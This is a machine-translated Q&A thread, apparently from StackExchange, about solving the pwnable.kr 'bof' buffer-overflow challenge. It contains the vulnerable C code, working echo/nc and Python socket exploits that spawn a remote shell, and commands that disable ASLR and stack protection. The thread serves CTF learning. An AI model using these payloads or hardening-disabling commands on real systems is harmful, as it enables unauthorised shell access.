上解决bof挑战,需要粉碎以下代码的堆栈
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key != 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
,给了我应该利用的编译器版本,该任务很简单,但是当我使数组
overflowme
溢出时,我从未将控件转移到/bin/sh
,而是得到了类似的内容: 尝试用除
*** stack smashing detected ***: ./bof terminated
以外的零填充数组,但失败了attempt2:
获取存储数组的内存转储,并使用该转储使数组溢出,但仍然失败
#1 楼
Jason的答案是正确的解决方案。但是,我想给出一个不带Python的替代答案,而是从终端给出。 IMO Python始终是更好自动化的首选,但有时您只是想在没有额外工具的情况下进行快速利用。毕竟,这是上面Python中代码的精确副本,对吧?除非服务器请求不同:***检测到堆栈粉碎***:/ home / bof / bof终止溢出我:
那么,出什么问题了?
请仔细考虑一下上面的命令。它向远程进程的stdin发送一堆字符,以期运行/ bin / sh。但是,我们仍然对该错误表示欢迎。这样做的原因是,我们正在发送正确的有效负载,但是随后我们停止了。 EOF。 / bin / sh没有输入,因此执行继续到下一行,直到堆栈保护程序启动为止。
连续性是Python起作用而
echo
命令不起作用的原因。 Python不会关闭流,而终端版本会关闭。为了证明这一点,这是终端漏洞利用的稍长版本,它实际上可以工作:
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" | nc pwnable.kr 9000
首先,在这种情况下,我们像以前一样将有效负载保存到名为有效负载.bin的文件中。接下来,我们运行以下命令:
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" > payload.bin
(请注意-在payload.bin之后,cat完成输出payload.bin的内容之后,它将开始输出任何内容通过stdin进入)
瞧!现在您实际上已经在工作。您可以尝试键入shell命令,例如
cat flag
或touch /tmp/pwned
或任何您喜欢的命令。哇!那很长。希望此信息能像其他前一阵子一样帮助其他困惑的人。
#2 楼
您无需绕过gcc的堆栈粉碎检测。如果正确覆盖key
,则在func()
的末尾执行堆栈检查之前,您将获得一个交互式shell。这是Python脚本形式的证明:import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwnable.kr", 9000))
s.send("A"*52 + "\xBE\xBA\xFE\xCA" + "\x0A")
print "You now have an interactive shell :)"
while True:
s.send(raw_input() + "\x0A")
print s.recv(1024)
评论
好吧,我尝试了此回显-n -e“ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xbe \ xba \ xfe \ xca \ x00“ | nc pwnable.kr 9000,但是没有用如果您能发现我错过了什么
–oddcoder
16年1月16日在23:42
gets()在输入字符串的末尾需要换行符,但是您在echo语句的末尾使用了空字节。
–詹森·格夫纳(Jason Geffner)
16 Jan 17 '15:34
另外,我认为\ x00不能与echo一起使用。
–詹森·格夫纳(Jason Geffner)
16年1月17日在16:22
实际上它确实有效,您可以通过将输出传递给xxd进行验证
–oddcoder
16年1月17日在20:38
@AhmedAbdElMawgood一个非常古老的问题,但是我发布了一个答案,可以帮助您理解为什么带有echo的版本无法正常工作。
– TGO
18年8月19日在14:00
#3 楼
首先,您应该在系统范围内禁用ASLR,您可以按以下步骤进行操作:echo "0" > /proc/sys/kernel/randomize_va_space
其次,使用带有-zexecstack -fno-stack-protector标志的程序来编译程序-g
示例
gcc program.c -o program -zexecstack -fno-stack-protector -g
干杯:)
评论
这虽然无助于获得该远程标志://
– TO
18年8月19日在14:01
评论
我投票结束这个问题是因为离题,因为我不认为stackexchange是破坏战争游戏的正确地方:游戏本来就应该玩,发布完整的解决方案将扼杀每个玩家的乐趣。 />前缀是52个字节而不是32个字节的原因是,还有8个字节的canary,加上canary和堆栈边缘之间的8个字节(canary位于Stack [-0x10])和4个字节之间堆栈和参数(参数位于Stack [0x4]),总共要多20个字节。